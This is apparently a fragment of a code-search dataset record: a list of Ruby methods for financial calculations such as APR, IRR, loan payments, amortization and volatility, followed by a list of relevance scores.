"def calculate_apr\n payment_ratio = monthly_payment_with_fees / loan_amount\n f = lambda {|k| (k**(self.period + 1) - (k**self.period * (payment_ratio + 1)) + payment_ratio)}\n f_deriv = lambda { |k| ((self.period + 1) * k**self.period) - (self.period * (payment_ratio + 1) * k**(self.period - 1))}\n\n root = newton_raphson(f, f_deriv, monthly_interest_rate + 1)\n 100 * 12 * (root - 1).to_f\n end",
"def daily_rate\n yearly_rate / 365\n end",
"def getCashValueOfIndFundInvestment(ind, fund, date)\r\n\r\n\t\t\r\n\r\n\tend",
"def interpolate_input(input, value, total_years, num_years)\n return value if input.enum?\n\n start = input.start_value_for(@scenario)\n change_per_year = (value - start) / total_years\n\n start + change_per_year * (total_years - num_years)\n end",
"def final_rate_adjustment rate\n (rate/100.0).ceil - 0.01\n end",
"def withdrawal_rate\n (youngest_person_retirement_age - 15.0) / 1000.0\n end",
"def efective_given_nominal_anticipated(nominal_rate, term)\n (((1/((1-((nominal_rate.to_f/100)/term))**term))-1)*100).round(4)\n end",
"def what_you_would_get_if_not_full\n if (qualifying_years + years_to_pension) < years_needed\n ((qualifying_years + years_to_pension).to_f / years_needed.to_f) * current_weekly_rate\n else\n current_weekly_rate\n end\n end",
"def daily_rate\n\t\t yearly_rate / 365\n\t\t end",
"def present_given_annuity(annuity, interest, term)\n (annuity.to_f * (((1 + interest.to_f) ** term) -1) / (interest.to_f * (1 + interest.to_f) ** term )).round(4)\n end",
"def annualized_30_day_return_volatility(params = {})\n timeseries = params.is_a?(Timeseries) ? params : Timeseries.new(params)\n timeseries.tick = \"1 day\"\n timeseries.from = timeseries.from - 30.days < Timeseries::OLDEST ? Timeseries::OLDEST : timeseries.from - 30.days\n dataset = global_ppi(timeseries).order(:tick)\n .from_self\n .select(:tick, :global_ppi)\n .select_append{ count(global_ppi).over(frame: \"rows 29 preceding\").as(:preceding_rows) }\n .select_append{ ln(global_ppi / lag(global_ppi).over(order: :tick)).as(:daily_return) }\n .from_self\n .select(:tick, :global_ppi, :preceding_rows)\n .select_append{\n round(\n (stddev(daily_return).over(order: :tick, frame: \"rows 29 preceding\") * sqrt(365) * 100).cast(:numeric),\n 2\n ).as(:vol_30d)\n }\n .from_self\n .select(:tick, :global_ppi, :vol_30d)\n .where(preceding_rows: 30)\n .exclude(vol_30d: nil)\n end",
"def last_fiscal_year_year\n current_fiscal_year_year + SystemConfig.instance.num_forecasting_years\n end",
"def apr\n payment_ratio = self.monthly_payment_with_fees / self.loan_amount\n f = lambda { |k| (k**(self.period + 1) - (k**self.period * (payment_ratio + 1)) + payment_ratio) }\n f_deriv = lambda { |k| ((self.period + 1) * k**self.period) - (self.period * (payment_ratio + 1) * k**(self.period - 1)) }\n\n root = newton_raphson(f, f_deriv, self.monthly_interest_rate + 1)\n 100 * 12 * (root - 1).to_f\n end",
"def get_dividend_value\n\t\t @dividend_share_value = @forwardDividendRate / (@overnightDiscountRate - @dividend_growth_rate)\n\n\t\t return @dividend_share_value\n\t\tend",
"def calculate_irr(min_rate, max_rate, amounts)\n while true\n range = max_rate - min_rate\n\n raise RuntimeError if range <= Float::EPSILON * 2\n\n rate = range.fdiv(2) + min_rate\n present_value = npv(rate, amounts)\n\n if present_value > 0\n min_rate = rate\n elsif present_value < -0.5\n max_rate = rate\n else\n return rate\n end\n end\n end",
"def nb_year(p0, percent, aug, p)\n years = 0\n while p >= p0 do\n p0 += (percent/100.0 * p0) + aug\n years += 1\n end\n p years\nend",
"def pmt(rate,n,amount)\n\n\ttop = 0.0\n\ttop = rate*(1+rate)**n\n\tbot = 0.0\n\tbot = (1+rate)**n-1\n\tresult = 0.0\n\tresult =amount*top/bot\n\treturn result \n\nend",
"def amortize(rate)\n # For the purposes of calculating a payment, the relevant time\n # period is the remaining number of periods in the loan, not\n # necessarily the duration of the rate itself.\n periods = @periods - @period\n amount = Amortization.payment @balance, rate.monthly, periods\n\n pmt = Payment.new(amount, :period => @period)\n if @block then pmt.modify(&@block) end\n \n rate.duration.times do\n # Do this first in case the balance is zero already.\n if @balance.zero? then break end\n\n # Compute and record interest on the outstanding balance.\n int = (@balance * rate.monthly).round(2)\n interest = Interest.new(int, :period => @period)\n @balance += interest.amount\n @transactions << interest.dup\n\n # Record payment. Don't pay more than the outstanding balance.\n if pmt.amount.abs > @balance then pmt.amount = -@balance end\n @transactions << pmt.dup\n @balance += pmt.amount\n \n @period += 1\n end\n end",
"def profit_day_rate(cal)\n day_rate = avg_rate_card_amount_cents.round(2)\n mins_tracked = Timing.minute_duration_submitted_for_period_and_client(id, cal.start_date, cal.end_date)\n days_tracked = (hours = mins_tracked.to_s.to_d / account.account_setting.working_day_duration_minutes).round(2)\n invoiced_amount = Invoice.amount_cents_invoiced_for_period_and_client(id, cal.start_date, cal.end_date).round(2)\n total_project_potential = (days_tracked * avg_rate_card_amount_cents.round).round(2)\n\n if invoiced_amount == 0 && days_tracked != 0\n 0\n elsif invoiced_amount != 0 && days_tracked == 0\n invoiced_amount\n elsif invoiced_amount == 0\n day_rate\n else\n ((invoiced_amount / total_project_potential) * day_rate).round(2)\n end\n end",
"def calculate_monthly_pay(loan_amount, interest_rate, loan_duration)\n loan_amount * (interest_rate * ( 1 + interest_rate) * loan_duration) /\n (interest_rate * ( 1 + interest_rate) * (loan_duration - 1))\nend",
"def nb_year(p0, percent, aug, p)\n year_count = 0\n until p0 >= p do\n p0 += (p0 * (percent/100.to_f)) + aug\n year_count += 1\n # binding.pry\n end\n year_count\n # binding.pry\nend",
"def pv_of_1_dollar_payments\n member = 1.0\n factor = 1.0/(1 + debt_rate/PAYMENTS_PER_YEAR)\n res = 0\n\n TOTAL_PAYMENTS.times do\n member *= factor\n res += member\n end\n\n res\n end",
"def estimate(cfrac, prec)\n last_result = nil\n terms = prec\n\n loop do\n # Estimate continued fraction for _n_ from 1 to _terms_.\n result = cfrac.a(terms)\n (terms - 1).downto(1) do |n|\n a = BigDecimal cfrac.a(n)\n b = BigDecimal cfrac.b(n)\n digits = [b.div(result, 1).exponent + prec, 1].max\n result = a + b.div(result, digits)\n end\n result = result.round(prec)\n\n if result == last_result\n return result\n else\n # Double _terms_ and try again.\n last_result = result\n terms *= 2\n end\n end\nend",
"def _reduce_365(val, _values, result); end",
"def parse_daily_value\n doc = Nokogiri::HTML(open(company_url))\n price = price_from(doc)\n pe_ttm = pe_ttm_from(doc)\n pb = pb_from(doc)\n\n response = RestClient.get(capital_structure_url)\n json = RestClient.get(capital_structure_json_url, cookies: response.cookies)\n json = JSON.parse(json)\n\n total_shares = total_shares(json)\n circulating_shares = circulating_shares(json)\n\n { \n date: Date.today,\n total_shares: total_shares,\n circulating_shares: circulating_shares,\n price: price,\n pe_ttm: pe_ttm,\n pb: pb\n }\n end"
] | [
"0.7779788",
"0.75517434",
"0.7306679",
"0.6672953",
"0.65825135",
"0.63988066",
"0.6284648",
"0.6245956",
"0.6159949",
"0.61575097",
"0.60779995",
"0.60768104",
"0.6067823",
"0.6065797",
"0.60527045",
"0.59514064",
"0.5936478",
"0.5902118",
"0.5874436",
"0.58550656",
"0.5800216",
"0.57959485",
"0.5781822",
"0.56942713",
"0.56749696",
"0.56540984",
"0.56426233",
"0.563002",
"0.562688",
"0.5606239",
"0.5601227",
"0.5585548",
"0.55625004",
"0.5543425",
"0.5533421",
"0.55095965",
"0.5502901",
"0.54232335",
"0.54129046",
"0.5365771",
"0.5357278",
"0.5336423",
"0.5326274",
"0.53088206",
"0.53076065",
"0.52926177",
"0.5286249",
"0.52764493",
"0.5243089",
"0.5241974",
"0.52252597",
"0.52177095",
"0.51884",
"0.5188085",
"0.51811194",
"0.5169614",
"0.5167239",
"0.5163985",
"0.5163906",
"0.51630944",
"0.51584804",
"0.5141691",
"0.5130524",
"0.5108327",
"0.51035357",
"0.51034606",
"0.50944024",
"0.50841594",
"0.50809836",
"0.5077113",
"0.5066564",
"0.506075",
"0.505659",
"0.505302",
"0.50417787",
"0.50301003",
"0.50288033",
"0.5026294",
"0.5017398",
"0.50131017",
"0.50130385",
"0.5002096",
"0.49943393",
"0.49848577",
"0.49841416",
"0.49831665",
"0.49754903",
"0.49739367",
"0.4968436",
"0.4960729",
"0.49587396",
"0.49490327",
"0.49463102",
"0.49452043",
"0.49369752",
"0.49345914",
"0.49236253",
"0.49190927",
"0.4917797",
"0.4909552"
] | 0.80783045 | 0 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.